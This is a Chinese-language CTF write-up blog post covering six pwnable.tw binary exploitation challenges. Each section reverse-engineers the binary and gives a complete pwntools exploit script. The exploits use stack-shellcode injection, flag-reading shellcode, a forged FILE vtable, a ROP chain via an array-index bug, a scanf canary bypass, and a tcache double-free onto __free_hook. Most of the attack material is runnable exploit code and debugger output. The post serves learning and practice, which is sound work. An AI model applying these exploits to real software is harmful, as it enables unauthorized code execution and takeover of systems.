本文最后更新于:星期二, 四月 9日 2019, 12:42 下午

start

防护机制:

0 % checksec start 
[*] '/home/zs0zrc/pwn/pwnable.tw/start/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

用ida看了下程序,发现只有十几行汇编代码

  .text:08048060 ; =============== S U B R O U T I N E =======================================
  .text:08048060
  .text:08048060
  .text:08048060                 public _start
  .text:08048060 _start          proc near
  .text:08048060                 push    esp
  .text:08048061                 push    offset _exit
  .text:08048066                 xor     eax, eax
  .text:08048068                 xor     ebx, ebx
  .text:0804806A                 xor     ecx, ecx
  .text:0804806C                 xor     edx, edx
  .text:0804806E                 push    ':FTC'
  .text:08048073                 push    ' eht'
  .text:08048078                 push    ' tra'
  .text:0804807D                 push    'ts s'
  .text:08048082                 push    2774654Ch
  .text:08048087                 mov     ecx, esp        ; addr
  .text:08048089                 mov     dl, 14h         ; len
  .text:0804808B                 mov     bl, 1           ; fd
  .text:0804808D                 mov     al, 4
  .text:0804808F                 int     80h             ; LINUX - sys_write
  .text:08048091                 xor     ebx, ebx
  .text:08048093                 mov     dl, 3Ch
  .text:08048095                 mov     al, 3
  .text:08048097                 int     80h             ; LINUX -
  .text:08048099                 add     esp, 14h
  .text:0804809C                 retn
  .text:0804809C _start          endp ; sp-analysis failed
  .text:0804809C
  .text:0804809D
  .text:0804809D ; =============== S U B R O U T I N E =======================================

这里实现了wirte 和read的系统调用,在调用read时存在栈溢出。看到防护机制后想到的做法就是 往栈上写shellcode,然后执行shellcode。具体要先泄露stack的地址,然后往栈上写shellcode再覆盖返回地址为shellcode的地址,最后跳转去执行shellcode

exp:

  from pwn import*
  context.log_level = 'debug'
  #p = remote('chall.pwnable.tw',10000)
  p = process('./start')
  shellcode ="\x31\xc0\x50\x68\x2f\x2f\x73"\
                     "\x68\x68\x2f\x62\x69\x6e\x89"\
                     "\xe3\x89\xc1\x89\xc2\xb0\x0b"\
                     "\xcd\x80\x31\xc0\x40\xcd\x80"
  p.recv()
  payload = 'a'*0x14 + p32(0x08048087)#write
  p.send(payload)
  leak = u32(p.recv(4))
  stack = leak + 0x10
  print "leak_stack -->[%s]"%hex(leak_stack)

  p.send('a'*0x14+p32(leak_stack+0x4)+shellcode)

  p.interactive()

orw

这题之前做过类似的 ,就是HITCON-Training-master的lab2

这题也是要执行shellcode,不过它限制了可以执行的函数,要求用open read和write 3个函数来读取flag

我拿以前的脚本改了下就打通了

exp:

  #!/usr/bin/env python  
  # -*-: coding: UTF-8 -*-  
  from pwn import*  
  context.log_level = 'debug'
  #p = process('./orw')  
  p = remote('chall.pwnable.tw',10001)
  shellcode = '''
  mov eax,0x5 
  push 0x6761
  push 0x6c662f77
  push 0x726f2f65
  push 0x6d6f682f
  mov ebx,esp
  xor ecx,ecx
  int 0x80 

  mov eax,0x3 
  mov ecx,ebx 
  mov ebx,0x3 
  mov dl,0x30 
  int 0x80 

  mov eax,0x4 
  mov bl,0x1 
  int 0x80 
  '''  
  payload = asm(shellcode)  
  p.recv() 
  p.send(payload)  
  p.interactive()  

不过这个我看别人的wp又学到了一种姿势,就是用pwntools的 函数自动生成对应函数的shellcode

  shellcode = ''
  shellcode += shellcraft.pushstr('/home/orw/flag')#往栈上压入字符串
  shellcode += shellcraft.open('esp', 0, 0)#设置参数
  shellcode += shellcraft.read('eax', 'esp', 100)
  shellcode += shellcraft.write(1, 'esp', 100)

seethefile

防护机制:

[*] '/home/zs0zrc/pwn/pwnable.tw/seethefile/seethefile'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

程序一共五个功能

  1. Open : 打开一个文件,但是不能打开flag文件
  2. Read : 读取文件的0x18字节的内容
  3. Write to screen : 将读取的内容打印出来
  4. Close : 关闭文件流
  5. Exit : 读取名字,同时关闭文件流并退出程序

程序的文件流指针存放在bss段

.bss:0804B280                 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp              dd ?                    ; DATA XREF: openfile+6↑r
.bss:0804B280                                         ; openfile+AD↑w ...
.bss:0804B280 _bss            ends
.bss:0804B280

name变量在fp变量的上面,同时程序读取name时没限制长度,所以可以覆盖fp指针,通过伪造_IO_FILE_plus结构体,覆盖fp指针指向伪造的结构体,最后通过fclose函数关闭fp来getshell,即劫持fp指针

不过要先知道libc的地址,libc的地址可以通过读取 /proc/self/maps文件来来得到

  • 泄露libc地址

      def sd(content):
          p.send(content)
    
      def sl(content):
          p.sendline(content)
    
      def rc():
          return p.recv()
    
      def ru(content):
          return p.recvuntil(content) 
    
      rc()
      sl('1')
      rc()
      sl('/proc/self/maps')
      rc()
      sl('2')
      rc()
      sl('2')
      rc()
      sl('3')
      leak = ru("r-xp")
      libc_base = int("0x"+leak[-22:-14],16)
      print hex(libc_base)
      system = libc_base + libc.symbols['system']
    
    
  • 伪造fake_file

      name_add = 0x804B260
      fake_file = "/bin/sh\x00"
      fake_file = fake_file.ljust(0x20,'\x00') 
      fake_file += p32(name_add)#覆盖fp为name_add
      fake_file = fake_file.ljust(0x48,'\x00')
      fake_file += p32(name_add + 0x10) # 指向一处值为0的地址
      fake_file = fake_file.ljust(0x94, "\x00")
      fake_file += p32(0x804b2f8-0x44)#fake vtable address = name_add + 0x98 - 0x44
      fake_file += p32(system)
    

    但是这题getshell还不够,要拿到flag还要运行服务器上的一个程序….有点骚,他将cat flag 命令删掉了,不过程序源码也给出了,很容易看到逻辑,按照它的判断条件输入,它就会将flag打印出来

    exp:

      #!/usr/bin/env python
      from pwn import *
      local = 0
    
      if local:
          p = process('./seethefile')
          elf = ELF('./seethefile')
          libc = elf.libc
      else:
          host = 'chall.pwnable.tw'
          port = '10200'
          p = remote(host,port)
          elf = ELF('./seethefile')
          libc = ELF('./libc_32.so.6')
    
      context.arch = elf.arch
      context.terminal = ['tmux', 'splitw', '-h']
      context.log_level='debug'
    
      def sd(content):
          p.send(content)
    
      def sl(content):
          p.sendline(content)
    
      def rc():
          return p.recv()
    
      def ru(content):
          return p.recvuntil(content) 
    
      rc()
      sl('1')
      rc()
      sl('/proc/self/maps')
      rc()
      sl('2')
      rc()
      sl('2')
      rc()
      sl('3')
      leak = ru("r-xp")
      libc_base = int("0x"+leak[-22:-14],16)
      print hex(libc_base)
      system = libc_base + libc.symbols['system']
    
      name_add = 0x804B260
      fake_file = "/bin/sh\x00"
      fake_file = fake_file.ljust(0x20,'\x00') 
      fake_file += p32(name_add)
      fake_file = fake_file.ljust(0x48,'\x00')
      fake_file += p32(name_add + 0x10)
      fake_file = fake_file.ljust(0x94, "\x00")
      fake_file += p32(0x804b2f8-0x44)
      fake_file += p32(system)
    
      sl('5')
      rc()
      sl(fake_file)
      p.interactive()
    

calc

防护机制:

☁  calc  checksec calc
[*] '/home/zs0zrc/pwn/pwnable.tw/calc/calc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

对它进行简单的逆向,发现它有很多库函数,说面这是静态编译的。用file查看下文件信息

☁  calc  file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped

它的主函数很简单,很短,主要功能是进行 +、-、 *、 \、%的基本运算。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ssignal(14, timeout);
  alarm(60);
  puts("=== Welcome to SECPROG calculator ===");
  fflush(stdout);
  calc();
  return puts("Merry Christmas!");
}

主要功能集中在calc函数

unsigned int calc()
{
  pool pool; // [esp+18h] [ebp-5A0h]
  char s; // [esp+1ACh] [ebp-40Ch]
  unsigned int v3; // [esp+5ACh] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(&s, 0x400u);                          // 初始化存储表达式的数组
    if ( !get_expr(&s, 1024) )                    //读取计算表达式
      break;
    init_pool(&pool);                            //初始化pool,这个pool结构体我定义了一下
    if ( parse_expr(&s, &pool) )                //解析表达式,并计算出结果
    {
      printf("%d\n", pool.data[pool.idx - 1]);    //将计算计过打印出来,计算结果存储在pool.data[pool.idx - 1]中
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v3;
}

init_pool函数,对pool进行初始化

pool *__cdecl init_pool(pool *pool)
{
  pool *result; // eax
  signed int i; // [esp+Ch] [ebp-4h]

  result = pool;
  pool->idx = 0;
  for ( i = 0; i <= 99; ++i )
  {
    result = pool;
    pool->data[i] = 0;
  }
  return result;
}

parse_expr函数

signed int __cdecl parse_expr(int buf, pool *pool)
{
  int n; // ST2C_4
  int v4; // eax
  int src; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int v7; // [esp+28h] [ebp-80h]
  char *dest; // [esp+30h] [ebp-78h]
  int v9; // [esp+34h] [ebp-74h]
  char s[100]; // [esp+38h] [ebp-70h]
  unsigned int v11; // [esp+9Ch] [ebp-Ch]

  v11 = __readgsdword(0x14u);
  src = buf;
  v7 = 0;
  bzero(s, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( (*(i + buf) - '0') > 9 )    //当buf[i]为 运算符时,将前面的数字存到pool中
    {
      n = i + buf - src;                       
      dest = malloc(n + 1);
      memcpy(dest, src, n);
      dest[n] = 0;
      if ( !strcmp(dest, "0") )    //数字的第一位不可以为0
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      v9 = atoi(dest);
      if ( v9 > 0 )
      {
        v4 = pool->idx++;
        pool->data[v4] = v9;                    //将数字存储到pool
      }
      if ( *(i + buf) && (*(i + 1 + buf) - '0') > 9 )//两个运算符不能相邻
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      src = i + 1 + buf;
      if ( s[v7] )        //s数组是用来存储运算符的
      {
        switch ( *(i + buf) )
        {
          case '%':
          case '*':
          case '/':
            if ( s[v7] != '+' && s[v7] != '-' )
            {
              eval(pool, s[v7]);
              s[v7] = *(i + buf);
            }
            else
            {
              s[++v7] = *(i + buf);
            }
            break;
          case '+':
          case '-':
            eval(pool, s[v7]);
            s[v7] = *(i + buf);
            break;
          default:
            eval(pool, s[v7--]);
            break;
        }
      }
      else
      {
        s[v7] = *(i + buf);
      }
      if ( !*(i + buf) )
        break;
    }
  }
  while ( v7 >= 0 )
    eval(pool, s[v7--]);
  return 1;
}

漏洞在eval函数中,这里存在一个逻辑漏洞,可以通过构造形如 +300+1的payload 修改 pool.idx, 进而实现任意地址写

pool *__cdecl eval(pool *pool, char a2)
{
  pool *result; // eax

  if ( a2 == '+' )
  {
    pool->data[pool->idx - 2] += pool->data[pool->idx - 1];
  }
  else if ( a2 > '+' )
  {
    if ( a2 == '-' )
    {
      pool->data[pool->idx - 2] -= pool->data[pool->idx - 1];
    }
    else if ( a2 == '/' )
    {
      pool->data[pool->idx - 2] /= pool->data[pool->idx - 1];
    }
  }
  else if ( a2 == '*' )
  {
    pool->data[pool->idx - 2] *= pool->data[pool->idx - 1];
  }
  result = pool;
  --pool->idx;
  return result;
}

漏洞找到后就很好做了,虽然它开了canary,但是并没有用,因为有任意地址写。这个程序是静态编译的,所以可以利用ROPgadget 生成ropchain,最后利用这个漏洞将ropchain写入栈中去执行。

ROPgadget –binary calc –ropchain

先计算返回地址到pool的偏移 对应的数组下标

从ida中观察calc函数的栈,可以发现pool在栈中的偏移为0x5a0, 返回地址和pool的距离为0x5a0+4

所以对应的数组下标为0x5a4/4 = 361

调试一下,在calc函数处下个断点

当程序断在calc函数时,对应的esp和ebp以及返回地址的在栈中的地址如下

$esp = 0xffffc990
$ebp = 0xffffcf48
$ret_add = 0xffffcf4c    ==> 0x8049499 (main+71) ◂— mov    dword ptr [esp], 0x80bf842
pool = 0xffffc9a8

泄露361偏移处的内容

1554784102423

1554784120464

可以发现把返回地址的内容泄露出来了,最后将rop链写入栈中就ok了

exp:

#!/usr/bin/env python
from pwn import *

local = 0

if local:
    sh = process('./calc')
    elf = ELF('./calc')
    libc = elf.libc
else:
    sh = remote("chall.pwnable.tw",10100)
    elf = ELF('./calc')

context.arch = elf.arch
context.log_level='debug'

def sd(content):
    sh.send(content)

def sl(content):
    sh.sendline(content)

def rc():
    return sh.recv()

def ru(content):
    return sh.recvuntil(content)

def calc(x,y):
    sl("+" + str(x))
    data = sh.recvline()
    data = int(data,10)
    if data > y :
        temp = data - y
        payload = "+" + str(x) + "-" + str(temp)
        sl(payload)
        rc()
    else:
        temp = y - data
        payload = "+" + str(x) + "+" + str(temp)
        sl(payload)
        rc()

p = []
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec060) # @ .data
p.append(0x0805c34b) # pop eax ; ret
p.append(u32('/bin'))
p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec064) # @ .data + 4
p.append(0x0805c34b) # pop eax ; ret
p.append(u32('//sh'))
p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec068) # @ .data + 8
p.append(0x080550d0) # xor eax, eax ; ret
p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
p.append(0x080481d1) # pop ebx ; ret
p.append(0x080ec060) # @ .data
p.append(0x080701d1) # pop ecx ; pop ebx ; ret
p.append(0x080ec068) # @ .data + 8
p.append(0x080ec060) # padding without overwrite ebx
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec068) # @ .data + 8
p.append(0x080550d0) # xor eax, eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x08049a21) # int 0x80

rc()
for i in range(len(p)):
    calc(361+i,p[i])

sh.sendline("")
sh.interactive()

dubble sort

防护机制:

☁  doublesort  checksec dubblesort 
[*] '/home/zs0zrc/pwn/pwnable.tw/doublesort/dubblesort'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

简单的运行了一下,程序先要你输入一个用户名,然后输入想要排序的数字个数和要排序的数字,最后将输入的数字排好序打印出来。

☁  doublesort  ./dubblesort 
What your name :das
Hello das

���/,How many numbers do you what to sort :3
Enter the 0 number : 2
Enter the 1 number : 1
Enter the 2 number : 4
Processing......
Result :
1 2 4 %

程序的逻辑不复杂,简单的逆一下。程序实现了一个简单的冒泡排序。

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int len; // eax
  int *temp; // edi
  unsigned int i; // esi
  unsigned int j; // esi
  int v7; // ST08_4
  int result; // eax
  unsigned int n; // [esp+18h] [ebp-74h]
  int array; // [esp+1Ch] [ebp-70h]
  char buf; // [esp+3Ch] [ebp-50h]
  unsigned int v12; // [esp+7Ch] [ebp-10h]

  v12 = __readgsdword(0x14u);
  sub_8B5();
  __printf_chk(1, "What your name :");
  read(0, &buf, 0x40u);                         // 没有0截断,可以用来泄露栈上的信息
  __printf_chk(1, "Hello %s,How many numbers do you what to sort :");
  __isoc99_scanf("%u", &n);
  len = n;                                      // 没有限制输入的个数,可以造成栈溢出
  if ( n )                                      
  {
    temp = &array;
    i = 0;
    do
    {
      __printf_chk(1, "Enter the %d number : ");
      fflush(stdout);
      __isoc99_scanf("%u", temp);
      ++i;
      len = n;
      ++temp;
    }
    while ( n > i );
  }
  sort((unsigned int *)&array, len);
  puts("Result :");
  if ( n )
  {
    j = 0;
    do
    {
      v7 = *(&array + j);
      __printf_chk(1, "%u ");
      ++j;
    }
    while ( n > j );
  }
  result = 0;
  if ( __readgsdword(0x14u) != v12 )
    sub_BA0();
  return result;
}

可以很容易的发现其中的两个漏洞。一个是在读取name时没有进行0截断,导致可以泄露出栈上的一些信息。另一个就是它对输入数字的个数没有限制,导致了栈溢出。sort函数对输入的数字进行冒泡排序。

  • 首先是信息泄露,通过观察栈中的情况,发现可以泄露出libc的地址

      pwndbg> telescope 0xffffcedc
      00:0000│   0xffffcedc ◂— 0x61616161 ('aaaa')
      01:0004│   0xffffcee0 —▸ 0xffffd10a ◂— 0x110000
      02:0008│   0xffffcee4 ◂— 0x2f /* '/' */
      03:000c│   0xffffcee8 ◂— 0x5e /* '^' */
      04:0010│   0xffffceec ◂— 0x16
      05:0014│   0xffffcef0 ◂— 0x8000
      06:0018│   0xffffcef4 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
      07:001c│   0xffffcef8 —▸ 0xf7fb3244 —▸ 0xf7e1b020 (_IO_check_libio) ◂— call   0xf7f22b59
    

    1554784263911

  • libc地址泄露出来后可以计算出system函数地址以及binsh字符串地址,加上有个栈溢出,所以这题应该是用rop来做了。但是它保护机制全开,要想办法绕过canary。这里涉及到一个知识点,就是scanf读取“+” “-” 这两个符号时,不会改变栈里的内容,而且也不会影响之后的输入。所以只要在往canary写入时,输入”+”就不会改变canary。就可以开心的进行rop了。

    计算canary 相对于数组的下标

      array_add = 0xffa6ae7c
      canary_add = 0xffa6aedc
      offset = canary_add - array_add = 0x60
      index = offset/4 = 24
    

    所以canary相对于数组的下标为24,也就是第25个数字

    计算返回地址相对于数组的下标

      array_add = 0xff8ee36c
      ret_add = 0xff8ee3ec
      offset = 0x80
      index = offset/4 = 32
    

    所以返回地址相对于数组的下标为32,也就是第33个数字

    还有一点要注意的是sort函数对数组排序的影响,canary前面的数字都要比canary小,canary后面的数字都要比canary大,不然的话sort函数就会是canary的位置发生变换,就会触发_stack_chk_fail函数。

exp:

#!/usr/bin/env python
from pwn import *
local = 1

if local:
    p = process('./dubblesort')
    elf = ELF('./dubblesort')
    libc = elf.libc
else:
    p = remote("chall.pwnable.tw",10101)
    elf = ELF('./dubblesort')
    libc = ELF('./libc_32.so.6')

context.arch = elf.arch
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)

def debug(addr,PIE=False):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))


debug(0x931,True) #sort start
#debug(0x9BB,True) #sort end
#debug(0x9c3,True) #main

rc()
sd('a'*0x18 + '\x01')
ru('a'*0x18)
leak = u32(p.recv()[:4])

#libc_base = leak - 0x1b0001  #remote
libc_base = leak - 0x1b2001      #local
libc.address = libc_base

system = libc.symbols['system']
binsh = libc.search("/bin/sh").next()
log.info("libc_base ==> {}".format(hex(libc_base)))

sl("35")

for i in range(24):
    rc()
    sl(str(0xdeadbeef))

rc()
sl("+")

for i in range(7):
    rc()
    sl(str(system))    
pause()

rc()
sl(str(system))
rc()
sl(str(0xdeadbeef))
rc()
sl(str(binsh))

p.interactive()

tcahce_tear

过程不小心删掉了….就不再写了,看exp。

exp:

from pwn import*
context.log_level="debug"

#p = process('./tcache_tear')
p = remote("chall.pwnable.tw","10207")
elf = ELF('./tcache_tear')
libc = elf.libc

def new(size,content):
    p.sendlineafter("Your choice :","1")
    p.sendlineafter("Size:",str(size))
    p.sendafter("Data:",content)

def free():
    p.sendlineafter("Your choice :","2")

def show():
    p.sendlineafter("Your choice :","3")


p.sendafter("Name:",'a'*0x20)
new(0x80,'aaaa\n')
free()
free()
new(0x80,p64(0x602020)*2 + "\n")
new(0x80,"\n")

log.info("******leak info********")
fake_stdout = p64(0xfbad1800) + p64(0)*3 + "\x00"
new(0x80,"\x60")
new(0x80,fake_stdout)
leak = p.recv(0x60)
leak = leak[0x20:]
leak_add = u64(leak[:6].ljust(8,'\x00'))
libc_base = leak_add - 0x3eb780
libc.address = libc_base
success(hex(libc_base))

one_gadget = libc_base + 0x4f322
free_hook = libc.symbols['__free_hook']

new(0x20,'aaaa\n')
free()
free()
new(0x20,p64(free_hook)*2 + "\n")
new(0x20,"\n")
new(0x20,p64(one_gadget))
free()
p.interactive("zs0zrc>>")
#FLAG{tc4ch3_1s_34sy_f0r_y0u}

CTF's writeup      pwn pwnable.tw

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!